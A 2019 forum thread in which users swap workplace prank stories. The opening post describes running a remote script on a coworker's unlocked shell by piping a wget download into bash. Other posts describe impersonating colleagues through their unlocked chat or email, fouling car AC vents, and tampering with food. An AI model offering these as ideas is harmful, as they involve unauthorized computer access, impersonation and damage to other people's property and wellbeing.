Dirty_habiT Posted November 1, 2019 Share Posted November 1, 2019 My friend that works doing top dog tech shit in the oil/gas industry down in Houston sent me this, this morning with the caption: "We relocated a guy from Rio to Houston. Here is his desk." My friend that did this has the EXACT same bday as me, same year and everything. I say he was born a few minutes before me because I think he's a little sharper than me. These are ducks that float and squeak. They have mineral oil vats w/ rack servers submerged in them, running a cooling system that sends the warmed oil to chillers on the roof of the facility. My friend typically puts some of these floating ducks in the mineral oil vats before investors visit the facility. Neat fact, the NSA actually toured his facility because they wanted to learn exactly how they were doing what they were doing. They process an absolute massive amount of data in the building, it's literally fucking stupid how much data and processing power they go through. I started thinking about previous pranks we would pull on people. Here are a few that I've personally done, use sparingly if you like your job: * Unplug your coworkers ethernet cable. Place a small piece of scotch tape over the part that connects to the pins. Plug the cable back in. It won't make a connection and it will take even the best of computer guys a very long time to figure out what is going on. I had people straight pissed when I worked at HostGator.com doing this on the tech floor. * If your manager/coworker leaves their computer unlocked, go into the public/company/off topic chat room and write "brb pooping." This works even better if it's a female coworker. We used to do this to my female manager at WPEngine.com all the time. The chat would blow up so quickly with people laughing and commenting on it that by the time she was back at her desk she couldn't even tell that she said "brb pooping." because it scrolled off the screen. * Plug a spare mouse's bluetooth receiver into your coworker's computer. Pull the mouse out of your bag and power it on periodically to move it around. This will really drive someone nuts. * I don't have a copy anymore but we had a script we wrote in bash that you could VERY quickly go to someone's shell and type "wget http://path.com/to/script.sh| bash" This would run the script that was stored somewhere else on their computer. The script we used would make their apple laptops randomly use the "say" command when they pressed enter on a command. The key was that it was random, and didn't do it every time they entered a command. This would also drive people nuts because their computer would be saying some really odd shit outloud if they had speakers turned up. Please share the kind of stuff you do to keep the work place interesting. I now work at a much more corporate place with adults so pranking people isn't really a thing. 2 Quote Link to comment Share on other sites More sharing options...
Kults Posted November 1, 2019 Share Posted November 1, 2019 Iss just a prank bro 1 Quote Link to comment Share on other sites More sharing options...
Kults Posted November 1, 2019 Share Posted November 1, 2019 My office pulled this on me for April fools. They obv know I’m a meme shitlord Quote Link to comment Share on other sites More sharing options...
Dirty_habiT Posted November 1, 2019 Author Share Posted November 1, 2019 Nice, I see those 12oz post cards back there, props for keeping it rail at work. 1 Quote Link to comment Share on other sites More sharing options...
Kults Posted November 1, 2019 Share Posted November 1, 2019 1 minute ago, Dirty_habiT said: Nice, I see those 12oz post cards back there, props for keeping it rail at work. Million Dollar Vandal right below them. Fantastic book for those who don’t have it don’t sleep Quote Link to comment Share on other sites More sharing options...
Guest Posted November 1, 2019 Share Posted November 1, 2019 If a co worker has dual monitors swap the left and the right. Physically swap em to be quick. *** Pour milkshake down the vents where the hood of a car and the windshield meet. those are the AC intake vents. Car will smell like shit and they won’t be able to figure it out. More for someone you hate. *** ziptie everything. Like an excessive amount of zip ties. Especially if a co worker leaves their uniform/coveralls out. *** rainbow sticker on the rear bumper is a classic *** Vaseline behind handle Of desk drawers *** 99c puppy and kitty calendars hung in unattended lockers on and on 2 Quote Link to comment Share on other sites More sharing options...
One Man Banned Posted November 2, 2019 Share Posted November 2, 2019 Standard was always dropping the height on people's adjustable chairs down to the lowest, made a lot of people fall back into their seats on that. One place we used to put lotion or similar inside the earpiece of the phone. Because the bathroom was nearby I put some more on the door handle so the person would get it again, and also on the inner door handle so they got it a third time on the way out. At another spot I could see everyone at their own desk, and I would put lotion in the earpiece of their phone and then call them. Also being able to see where people were relative to their phone, I would call a person's extension and then hang up right as they got there. Then when they walked away I'd repeat. Even better with people who tend to rush to their phone or when someone's coming in with their hands full etc., etc. Too many to type out right now. 1 1 1 Quote Link to comment Share on other sites More sharing options...
Dirty_habiT Posted November 2, 2019 Author Share Posted November 2, 2019 ^^ You reminded me of another one w/ the chairs. If you lower it low enough for the arms of the chair to go under the desk and then you raise it putting pressure on the bottom side of the desk..... it makes it hard to pull the chair out. I had one of my coworkers so mad that he like knocked his chair over as he yanked so hard to get it out from under his desk. He wasn't having it, came in to work in a bad mood, the chair just made it better. We're great friends now, I'll text him and ask him what is some of the other stuff we used to do there. 1 1 Quote Link to comment Share on other sites More sharing options...
where Posted November 2, 2019 Share Posted November 2, 2019 Have a coworker that is perpetually drinking blue Gatorade. For 3 days, 3 entire days, another dude and I would dilute it back to full at every opportunity. It took him that long, 3 whole days, to realize and finally call us out. 1 1 1 Quote Link to comment Share on other sites More sharing options...
Fist 666 Posted November 2, 2019 Share Posted November 2, 2019 I can't think of anything annoying I do currently, but my brother (auto body, paint work) recently told me about a coworker who was dumb enough to tell people he thought it was annoying when people whistled while they worked. Apparently the following week the garage sounded like an aviary of retarded birds, even the managers and front desk girl were in on it. Original complainer quit over it. great success on all counts 2 1 Quote Link to comment Share on other sites More sharing options...
One Man Banned Posted November 2, 2019 Share Posted November 2, 2019 One place I worked, we would get these sandwiches sent over from the kitchen/cafeteria, pretty plain deli meat on a grinder roll, but free. Anyhow, if someone was busy when they arrived I would occasionally slip a maxi pad into someone's sandwich. More phone pranks: being able to see where people sat I would call their phone the day after we had ordered out food, like Thai food. I'd do a stupid accent and be like "You order Thai food yesterday? Why you no give driver good tip?!" Totally have the person off guard and defending themself before they would be like "wait, OMB? Is this you?!" And they'd turn and see me on the phone laughing at them. When people started catching on to my phone hijinks by catching that it was my extension calling them, I found that I could dial out for an outside line, then just call the main number at work and put in the person's extension. It would look like a call coming from outside work and they'd pick up every time. 1 1 Quote Link to comment Share on other sites More sharing options...
One Man Banned Posted November 2, 2019 Share Posted November 2, 2019 One spot we had an online rolodex with people's pictures included. The pics were pretty unflattering, made worse if you had worked there a bit and styles had changed since your pic. I'd print out people's pics and load them into the copy machine. I'd also print pics, touch them up with a sharpie, and then put them in the copier. 1 1 Quote Link to comment Share on other sites More sharing options...
abrasivesaint Posted November 3, 2019 Share Posted November 3, 2019 On 11/1/2019 at 5:03 PM, KILZ FILLZ said: Pour milkshake down the vents where the hood of a car and the windshield meet. those are the AC intake vents. Car will smell like shit and they won’t be able to figure it out. More for someone you hate. Quote Link to comment Share on other sites More sharing options...
abrasivesaint Posted November 3, 2019 Share Posted November 3, 2019 For some reason i couldnt type after i quoted.. a hardcore band that i crossed paths with a couple times did this to another touring band, except it was piss, in the middle of the summer, touring the south west. 2 Quote Link to comment Share on other sites More sharing options...
Ko SprueOne Posted November 3, 2019 Share Posted November 3, 2019 You're all a bunch of DICKS! Haha 1 1 1 Quote Link to comment Share on other sites More sharing options...
One Man Banned Posted November 4, 2019 Share Posted November 4, 2019 This brought back memories, was lol out in public as I remembered more shit w/ the phone. We had a supply closet that had an extension in it that I would prank or call and hang up when the person got to it, got a number of people before they caught on. This one guy never did, and he felt compelled to try to answer it each time. One time he had to be out, maybe he was late for something, he's stepping out the door w/ his hands full and I ring the line and I see him stop. You could tell he was struggling in his head and he had to come back in, drop his shit, and try to answer a call he was not going to get in time. This all reminded me that I refined this routine from an earlier workplace where me and a coworker had desks in 2 separate rooms, both in the same spot along a cinder block wall. I'd call his extension and get him to run for it, hanging up right when he got there. I could hear him yell in frustration through the wall several times, don't think he ever caught on to it. Would even slip my phone slightly off the hook when talking to him and dial his extension without him seeing and get him to run. This then reminded me how I think I started this one prank, not work related but funny. For a year in school I had this dorm/apartment type thing. My room was at the end of a long hallway with a living room at the other end. I figured out that if my extension was 1456, then the room on the floor above me was 2456. You could hear the floorboards creak when someone walked around above so when I would hear the person above head down the hall I'd ring his extension and be able to hear their footsteps to know exactly when to hang up. Def a few times where I could hear them running for it, or that rush to get back in when they've just shut and locked their door, open it back up and grab the phone just in time for... click. Once I heard them WTF?!?! to their roommates because how could anyone but someone right there in the apartment know when he was just about to catch his phone. 1 Quote Link to comment Share on other sites More sharing options...
Schnitzel Posted November 4, 2019 Share Posted November 4, 2019 I asked a sexy female co-worker out by email from my manager's email. Shit backfired though she wrote back "this is very unusual to get via email but yes I'd love to." I kind of had to tell him when he got back "err Michelle wants to go for a drink with you". Michelle was very embarrassed when the news got to her and didn't speak to me after that. I also got a talking to about "improper use of company email" few years we did this to a guy who went on leave. because there were 12 of us in the team and he was gone for a while we slowly started by wrapping everything in the drawers and then wrapping outwards from there so many tinfoil hats wasted. Did a little bit each day then a big effort on the last friday before he came back. 1 1 2 Quote Link to comment Share on other sites More sharing options...
where Posted November 8, 2019 Share Posted November 8, 2019 Yesterday I cut the sides off an empty box of xl gloves and taped them to a medium box. Put them on a coworkers station, got em. 2 Quote Link to comment Share on other sites More sharing options...
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